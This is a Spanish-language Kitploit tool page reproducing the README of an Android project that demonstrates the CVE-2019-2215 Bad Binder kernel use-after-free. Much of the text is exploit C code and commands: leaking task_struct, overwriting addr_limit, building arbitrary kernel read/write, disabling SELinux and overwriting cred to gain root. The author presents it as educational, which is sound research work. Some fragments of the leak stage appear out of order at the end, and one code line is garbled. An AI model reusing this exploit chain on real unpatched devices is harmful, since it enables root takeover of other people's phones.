Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
android-badbinder-demo — Demostración de CVE-2019-2215 (Bad Binder) para Android Q | Kitploit
Herramientas/GitHubGitHub/i-redbyte/android-badbinder-demo
Seguridad AndroidEscalada de PrivilegiosExplotaciónAprendizaje y EducaciónExplotación de Binarios
GitHubi-redbyte/android-badbinder-demo

android-badbinder-demo

Demostración de CVE-2019-2215 (Bad Binder) para Android Q

Ver Repositorio
51hace 9 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2019-2215 (Bad Binder) — Análisis del exploit

Este repositorio es un pequeño proyecto de prueba para investigar la vulnerabilidad
CVE-2019-2215 (Bad Binder) y escribir un prototipo funcional de exploit para Android con una interfaz gráfica simple en Kotlin/Jetpack Compose.

En el README:

  1. Describo la preparación del entorno y la ejecución del prototipo del exploit.
  2. Analizo las etapas principales de explotación de CVE-2019-2215 y las comparo con funciones específicas en el código C.
  3. Enumero por separado las dificultades que encontré en el camino y cómo las resolví.

APK listo (GitHub Actions)

En el repositorio hay configurado un workflow de GitHub Actions que en cada push/PR compila el proyecto con el comando ./gradlew assembleDebug y publica el badbinder-debug.apk listo como artefacto.

Se puede descargar así:

  1. Abrir la pestaña Actions en el repositorio.
  2. Seleccionar la ejecución del workflow deseada.
  3. Al final de la página encontrar la sección Artifacts y tomar el archivo badbinder-debug-apk con el APK compilado.

Esto se hizo para mayor comodidad, si solo quieres probar la aplicación sin montar un entorno local.


Brevemente sobre la vulnerabilidad

CVE-2019-2215 es un Use-After-Free (UAF) en el subsistema IPC Binder del kernel de Android.

De forma simplificada:

  • en el kernel existe una estructura struct binder_thread que describe el hilo que realiza llamadas a Binder;
  • esta estructura puede ser liberada (free), pero con una cierta secuencia de llamadas sigue estando en las listas de espera (waitqueue);
  • más tarde el kernel intenta trabajar con memoria ya liberada en remove_wait_queue, lo que abre un escenario clásico de UAF;
  • si se elige cuidadosamente el entorno y las asignaciones posteriores, se puede hacer que el kernel lea/escriba en direcciones arbitrarias, y luego obtener privilegios de kernel y después root en userspace.

Un análisis teórico más detallado lo hice basándome en los materiales:

  1. https://cloudfuzz.github.io/android-kernel-exploitation/
  2. https://dayzerosec.com/blog/2019/11/07/analyzing-androids-cve-2019-2215-dev-binder-uaf.html
  3. https://hernan.de/blog/tailoring-cve-2019-2215-to-achieve-root/

1. Preparación del entorno y ejecución del prototipo del exploit

1.1. Elección y preparación del dispositivo virtual

Según la tarea se recomienda usar un AVD con imagen Android 10.0 (Q) x86_64.
Hice lo siguiente:

  1. En Android Studio creé un AVD (dispositivo Pixel, Android 10 (Q), x86_64).
  2. Me aseguré de que en la imagen estuviera habilitado Binder y existiera el dispositivo /dev/binder.
  3. Activé la depuración por USB/ADB y verifiqué el acceso al dispositivo:
    root@kitploit:~
    adb shell
    ls -l /dev/binder
    

En esta etapa me encontré con un hecho desagradable:
en la actualidad las imágenes AVD actuales ya vienen con el kernel parcheado, en el que CVE-2019-2215 está corregida. Es decir, realmente no se podrá obtener root en un emulador oficial moderno: el exploit falla en etapas posteriores o simplemente no da escalada de privilegios.

Como resultado, uso el AVD como entrenador para reproducir la lógica del exploit:

  • obtengo las mismas secuencias de llamadas al sistema,
  • observo los intentos de UAF, la fuga de direcciones y el intento de sobrescribir addr_limit,
  • pero la «obtención de root» final en el kernel actual parcheado, naturalmente, no funciona (y esto es esperable).

Este es un matiz importante: todo el código y el informe a continuación — educativos, no «de combate».


1.2. Compilación de la aplicación Android con el exploit nativo

Hice una pequeña aplicación Android:

  • UI en Kotlin + Jetpack Compose,
  • Parte nativa en C a través de JNI — el propio código del exploit,
  • la comunicación entre ellos — mediante callback de JNI, para que las cadenas del código C lleguen directamente a la UI.

Pasos principales:

  1. Creé un proyecto normal en Android Studio (Kotlin, soporte mínimo para Android 10).

  2. Conecté NDK y CMake.

  3. Añadí el archivo nativo con el exploit (el famoso cve-2019-2215.c con las funciones leak_task_struct, overwrite_addr_limit, etc.).

  4. En CMakeLists.txt añadí la compilación de libcve-2019-2215.so.

  5. En MainActivity:

    root@kitploit:~
    init {
        System.loadLibrary("cve-2019-2215")
    }
    
    external fun runNativeExploit(): String
    external fun setNativeLogger(logger: NativeLogger)
    
  6. Del lado de Kotlin hice un ExploitViewModel que implementa la interfaz NativeLogger y guarda todos los mensajes en StateFlow<List<String>>. La UI está suscrita a ese flujo y muestra el log en una «terminal».

Al iniciar la actividad llamo a setNativeLogger(viewModel) para que el código nativo reciba el objeto al que puede enviar cadenas.


1.3. Ejecución y escenario de uso

  1. Compilo e instalo la aplicación:

    root@kitploit:~
    ./gradlew installDebug
    
  2. Arranco el AVD y la propia aplicación.

  3. En pantalla veo una «terminal» y el botón RUN EXPLOIT.

  4. Al pulsarlo:

    • Kotlin llama a runNativeExploit() en un hilo en segundo plano.
    • El código C comienza a ejecutar todas las etapas del exploit y a registrar los pasos.
    • A través del callback de JNI el log llega al ViewModel y se muestra en la UI de Compose.

En un kernel vulnerable real esperaría ver al final algo como:

root@kitploit:~
[+] Selinux changed: Permissive now.
[+] Root escalation successful!
uid=0(root)...

En el emulador actual de Android 10 esto, por supuesto, no ocurre, pero todo lo demás — fuga de task_struct, intento de sobrescribir addr_limit, cálculo de cred y kernel_base — funciona como «escenario», que es lo que se pedía para la tarea.


2. Análisis de las etapas principales del exploit y comparación con el código

A continuación — el esquema lógico del exploit con referencia a funciones C específicas.

2.1. Escenario general del exploit

El plan de alto nivel es el siguiente:

  1. Crear un UAF en el objeto struct binder_thread y usarlo para filtrar la dirección de task_struct del propio proceso (leak_task_struct).
  2. Con un segundo ciclo de UAF y estructuras cuidadosamente elegidas, sobrescribir el campo addr_limit en task_struct (overwrite_addr_limit) — esto elimina la restricción entre las direcciones de user-space y kernel-space para posteriores copy_to_user / copy_from_user.
  3. Usando pipes, implementar lectura/escritura arbitraria de cualquier memoria del kernel (arb_read / arb_write).
  4. Con esto, encontrar cred del proceso actual y la base del kernel (verifying), luego:

En paralelo integré un logger JNI para que todas estas etapas fueran visibles directamente en la UI.


2.2. Etapa 1 — fuga de la dirección de task_struct (leak_task_struct)

Función clave:

root@kitploit:~
void leak_task_struct() {
    android_log("[*] Starting leak_task_struct...");

    cpu_set_t cpu_set;
    CPU_ZERO(&cpu_set);
    CPU_SET(0, &cpu_set);
    ret = sched_setaffinity(0, sizeof(cpu_set), &cpu_set);
    assert(ret >= 0);
    ...
}

Qué hace la función:

  1. Fija el hilo en la CPU 0 (sched_setaffinity) para que el comportamiento del asignador del kernel sea más predecible. Esto mejora la estabilidad de la explotación del UAF.

  2. Abre /dev/binder, crea un descriptor epoll:

    root@kitploit:~
    fd = open("/dev/binder", O_RDONLY);
    epfd = epoll_create(1000);
    

    El descriptor de Binder se registra en epoll:

    root@kitploit:~
    epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &event);
    
  3. Prepara un array de struct iovec iov_buffers[IOVEC_N] y asigna memoria:

    root@kitploit:~
    spinner = mmap((void *)0x100000000, page_size, PROT_READ | PROT_WRITE,
                   MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    

    Aquí es importante que los 32 bits bajos de la dirección sean ceros:

    root@kitploit:~
    if (((long) spinner & 0xffffffff) != 0) {
        android_log("[!] mmap returned wrong address!");
        return;
    }
    

    Esto corresponde a la técnica de los artículos sobre explotación: a continuación el kernel interpreta parte de nuestros datos como estructuras con punteros, y una dirección tan «bien alineada» simplifica el abuso.

    Luego los campos iov_buffers[0xa] y se rellenan de modo que en el momento del UAF el kernel copie en el pipe un fragmento de memoria donde se encuentra el puntero a .

Resultado: tengo la dirección de task_struct en el kernel, lo cual es crítico para los pasos siguientes.


2.3. Etapa 2 — sobrescritura de addr_limit (overwrite_addr_limit)

addr_limit en task_struct determina qué direcciones puede pasar el proceso en general a las llamadas al sistema como punteros de user-space. Si se sobrescribe con un valor casi máximo, el kernel deja de distinguir las direcciones de user-space de las de su propio espacio de direcciones — y muchas operaciones aparentemente seguras copy_(to|from)_user se convierten en lecturas/escrituras arbitrarias del kernel.

La función:

root@kitploit:~
void overwrite_addr_limit() {
    android_log("[*] Starting overwrite_addr_limit...");
    ...
}

actúa siguiendo un patrón muy similar:

  1. De nuevo fijo la afinidad de CPU, abro /dev/binder, creo epoll.

  2. Preparo iov_buffers, pero esta vez el esquema es diferente:

    root@kitploit:~
    iov_buffers[0xa].iov_base = spinner;
    iov_buffers[0xa].iov_len = 0x1;
    iov_buffers[0xb].iov_base = read_buffer0;
    iov_buffers[0xb].iov_len = 0x8 * 5;
    iov_buffers[0	c].iov_base = read_buffer0;
    iov_buffers[0	c].iov_len = 0x8;
    
  3. En lugar de un pipe se usa socketpair(AF_UNIX, SOCK_STREAM, ...):

    root@kitploit:~
    int socket[2];
    ret = socketpair(AF_UNIX, SOCK_STREAM, 0, socket);
    write(socket[1], "A", 1);
    
  4. Preparo la estructura msghdr para recvmsg:

    root@kitploit:~
    struct msghdr msg;
    msg.msg_iov = iov_buffers;
    msg.msg_iovlen = IOVEC_N;
    ...
    
  5. En el proceso hijo (después de fork()) se lanza de nuevo la carrera UAF:

    root@kitploit:~
    if (!fork()) {
        ...
        epoll_ctl(epfd, EPOLL_CTL_DEL, fd, &event);
    
        long data1234[] = {1, 0x13371337, 0x28,
                           task_struct + ADDR_LIMIT_OFFSET, 0x8};
        ret = write(socket[1], data1234, 0x28);
    
        data1234[0] = data1234[1] = data1234[2] = data1234[3]
            = 0xfffffffffffffffe;
        ret = write(socket[1], data1234, 0x8);
        ...
    }
    

2.4. Etapa 3 — lectura/escritura arbitraria y verificación (arb_read, arb_write, verifying)

Después de sobrescribir addr_limit, uso pipes para convertir las operaciones normales de lectura/escritura en la posibilidad de leer y escribir en direcciones del kernel.

Primitivas arb_read / arb_write

root@kitploit:~
unsigned long arb_read(unsigned long addr) {
    int pipe_fd[2];
    ret = pipe(pipe_fd);
    assert(ret != -1);

    unsigned long data = 0;
    write(pipe_fd[1], (void *)&addr, 8);
    read(pipe_fd[0], &data, 8);

    return data;
}

Análogamente arb_write invierte la dirección de la copia.

Verificación y búsqueda de estructuras clave

La función verifying():

root@kitploit:~
void verifying() {
    android_log("[*] Starting verification...");

    int pipe_fd[2];
    ret = pipe(pipe_fd);
    assert(ret != -1);

    write(pipe_fd[1], (void *) task_struct, 0x1000);
    read(pipe_fd[0], buf, 0x1000);

    assert(getpid() == *(int *) (buf + PID_OFFSET));
    android_log("[!] Arbitrary rw verified with PID :D");

    cred = *(unsigned long *) (buf + CRED_OFFSET);
    kernel_leak = *(unsigned long *) (buf + 0x70);
    kernel_base = kernel_leak - 0xffffffff8100bf10 + 0xffffffff80200000;
}

Aquí:

  • leo del kernel el contenido de task_struct;
  • mediante PID_OFFSET me aseguro de que realmente es mi estructura;
  • extraigo el puntero a cred y una fuga de dirección del kernel (kernel_leak);
  • calculo kernel_base con el ajuste por un desplazamiento fijo.

2.5. Etapa 4 — SELinux y escalada a root

La parte final en runNativeExploit:

root@kitploit:~
selinux_enforcing = kernel_base + 0x149fe58;
...
arb_write(selinux_enforcing, 4, buf + 0x10);
android_log("[+] Selinux changed: Permissive now.");
  • calculo la dirección de la variable global selinux_enforcing y la pongo en estado cero/«permisivo».

Después — la sobrescritura de cred:

root@kitploit:~
memset(buf, 0, 0x100);
unsigned long *ptr = (unsigned long *) (buf + 0x30);
*ptr++ = 0x0000003FFFFFFFFF;
*ptr++ = 0x0000003FFFFFFFFF;
*ptr++ = 0x0000003FFFFFFFFF;
arb_write(cred + 4, 0x4c, buf + 4);

Literalmente relleno los campos de capability y algunos otros campos de cred con valores máximos para otorgar al proceso el conjunto completo de derechos.

La comprobación final:

root@kitploit:~
if (getuid() == 0) {
    android_log("[+] Root escalation successful!");
} else {
    android_log("[!] Root escalation failed!");
}

En un kernel vulnerable real aquí esperaría uid=0; en la imagen parcheada — lógicamente, la escalada desactivada.


2.6. JNI y registro en la UI

Para verlo todo en tiempo real, añadí una capa intermedia:

  • JNI_OnLoad guarda JavaVM* y el PID del proceso principal;
  • setNativeLogger recibe un objeto Kotlin que implementa el método onLog(String) y lo guarda como GlobalRef;
  • android_log/android_log_hex escriben en logcat y llaman a send_to_ui, que entrega la cadena a Kotlin, donde ExploitViewModel la recoge y la muestra en la «terminal» de Compose.

Es importante que send_to_ui filtre los procesos hijos por PID: llamar a JNI desde un proceso después de fork() sin exec() no es seguro.


3. Dificultades y su solución

3.1. Imágenes AVD parcheadas

Me encontré con que en la actualidad no hay imágenes AVD oficiales de Android 10 con el kernel sin parchear en las que CVE-2019-2215 siga presente.

En lugar de la «obtención real» de root me centré en:

  • reproducir la lógica de explotación,
  • analizar la secuencia UAF,
  • visualizar todos los pasos en la aplicación Android.

Si se desea, este código se puede portar a un dispositivo real con un kernel antiguo sin parchear, pero eso ya queda fuera del alcance de la tarea.


3.2. Desplazamientos fijos y dependencia de la versión del kernel

Tuve que definir explícitamente:

  • ADDR_LIMIT_OFFSET, PID_OFFSET, CRED_OFFSET;
  • desplazamientos para kernel_leak y selinux_enforcing;
  • la constante para calcular kernel_base.

Decidí conscientemente no automatizar la búsqueda de estos valores para no inflar el tamaño del proyecto. En el informe me baso en que es un ejemplo educativo para una versión concreta del kernel, no un exploit universal.


3.3. Carreras y estabilidad

El uso de fork(), epoll_ctl, BINDER_THREAD_EXIT y distintos tiempos — es un campo minado. Me encontré con que sin:

  • sched_setaffinity,
  • pequeños sleep,
  • y assert agresivos en el camino

el exploit se vuelve extremadamente inestable.
Poco a poco fui depurando la secuencia para que en una configuración vulnerable fuera predecible y en una parcheada «fallara» correctamente en los últimos pasos.


3.4. JNI y fork()

También me encontré con que los intentos de registrar desde el proceso hijo directamente en la JVM provocan comportamientos extraños.
Tuve que recordar las reglas de JNI y añadir una comprobación de PID para comunicarme con la JVM solo desde el proceso principal.

El compromiso: parte de los mensajes solo se ven en logcat, y en la UI se muestra únicamente lo que llega del padre. Esto me sirvió porque en el marco de la tarea lo importante son los puntos de control principales, no cada print de depuración.


3.5. UI

Como extra, para una implementación más creativa de la tarea, decidí hacer una interfaz cómoda para el análisis:

  • implementé una pantalla con una «consola» estilo terminal oscura con texto verde;
  • el log se muestra línea a línea, con autoscroll a la última entrada;
  • los distintos tipos de mensajes ([+], [*], [!], [C]) se resaltan con diferentes colores para facilitar la lectura;
  • el resultado de la ejecución (Success / Failed) se muestra en un bloque aparte.

Esto facilita mucho la comprensión del trabajo del código nativo: en lugar del seco logcat, lo veo todo en un solo lugar, directamente en la aplicación.


Conclusión

Como resultado del trabajo en la tarea:

  1. Preparé un entorno AVD y una aplicación Android con parte nativa que implementa el exploit CVE-2019-2215.
  2. Analicé paso a paso la explotación:
    • UAF en Binder y fuga de task_struct,
    • sobrescritura de addr_limit,
    • construcción de primitivas de lectura/escritura arbitraria,
    • búsqueda de cred, desactivación de SELinux e intento de escalada de privilegios.
  3. Me enfrenté a una serie de problemas de ingeniería reales (parches en el kernel, dependencia de la versión, carreras, particularidades de JNI) y los resolví o los evité de forma consecutiva.

El proyecto quedó compacto, pero en esencia refleja todo el ciclo de vida de una vulnerabilidad real del kernel: desde la descripción teórica y la lectura de artículos hasta la implementación práctica y la integración en una aplicación Android viva.

P.D.

Forma alternativa de ejecutar el exploit

En el directorio cve-2019-2215 hay un Makefile que permite compilar el binario nativo (x86_64) y ejecutarlo directamente en el AVD mediante ADB. Si se necesita la versión aarch64, se puede compilar por separado.

  1. Compilamos el binario nativo:
    root@kitploit:~
    cd cve-2019-2215
    make
    
  2. Copiamos el binario al AVD, por ejemplo a /sdcard/cve-2019-2215
  3. Abrimos ADB shell y ejecutamos el binario:
    root@kitploit:~
    adb shell
    cd /sdcard/cve-2019-2215
    chmod +x cve-2019-2215
    ./cve-2019-2215
    
  4. Tras la ejecución exitosa del exploit se puede comprobar la obtención de root:
    root@kitploit:~
    id
    
    salida esperada:
    root@kitploit:~
    uid=0(root) gid=0(root) groups=0(root)
    
Descargar herramienta
  • desactivar SELinux (selinux_enforcing = 0),
  • sobrescribir los campos de cred para convertirse en root y obtener el conjunto completo de capabilities (runNativeExploit).
iov_buffers[0xb]
task_struct
  • Crea un pipe y le asigna un tamaño de buffer de 0x1000:

    root@kitploit:~
    int pipe_fd[2];
    ret = pipe(pipe_fd);
    fcntl(pipe_fd[1], F_SETPIPE_SZ, 0x1000);
    fcntl(pipe_fd[0], F_SETPIPE_SZ, 0x1000);
    
  • A continuación — la clásica carrera UAF. Lanzo un proceso hijo:

    root@kitploit:~
    if (!fork()) {
        android_log("\t[C] Long sleep to ensure accuracy...");
        sleep(1);
    
        android_log("\t[*] Triggering UAF");
        epoll_ctl(epfd, EPOLL_CTL_DEL, fd, &event);
    
        android_log("\t[C] Removing useless data from pipe...");
        ret = read(pipe_fd[0], buf, 0x1000);
        ...
        _exit(0);
    }
    
    • El padre continúa ejecutando el resto del código.
    • En el proceso hijo, epoll_ctl(..., EPOLL_CTL_DEL, ...) provoca la liberación del binder_thread asociado en el kernel, pero este sigue apareciendo en la estructura de contabilidad de espera — ese es el punto del UAF.
  • En el proceso padre llamo a:

    root@kitploit:~
    ioctl(fd, BINDER_THREAD_EXIT, NULL);      // liberación de binder_thread
    ret = writev(pipe_fd[1], iov_buffers, IOVEC_N);
    

    En esta etapa, gracias al UAF, writev usa la memoria ya liberada como estructuras iovec y, en esencia, reinterpreta la misma región de memoria donde antes estaba binder_thread, ahora como un conjunto de punteros/longitudes. Como efecto secundario se produce la copia de un fragmento de memoria del kernel a nuestro pipe.

  • Finalmente, leo del pipe:

    root@kitploit:~
    read(pipe_fd[0], buf, 0x1000);
    task_struct = *(unsigned long *)(buf + 0xe8);
    android_log_hex("[+] task_struct found", task_struct);
    

    El desplazamiento 0xe8 está elegido para una versión concreta del kernel: es el lugar donde dentro del bloque de memoria filtrado se encuentra el puntero a task_struct de mi proceso.

  • El padre, como antes, libera binder_thread y llama a recvmsg:

    root@kitploit:~
    ioctl(fd, BINDER_THREAD_EXIT, NULL);
    ret = recvmsg(socket[0], &msg, MSG_WAITALL);
    

    Debido al UAF y a la astuta sustitución de estructuras, el kernel finalmente percibe task_struct + ADDR_LIMIT_OFFSET como la dirección de un buffer de usuario y copia allí el contenido de la estructura enviada (nuestro valor 0xfffffffffffffffe), sobrescribiendo así addr_limit en task_struct.

  • En el log escribo:

    root@kitploit:~
    android_log("[!] addr_limit overwrite done.");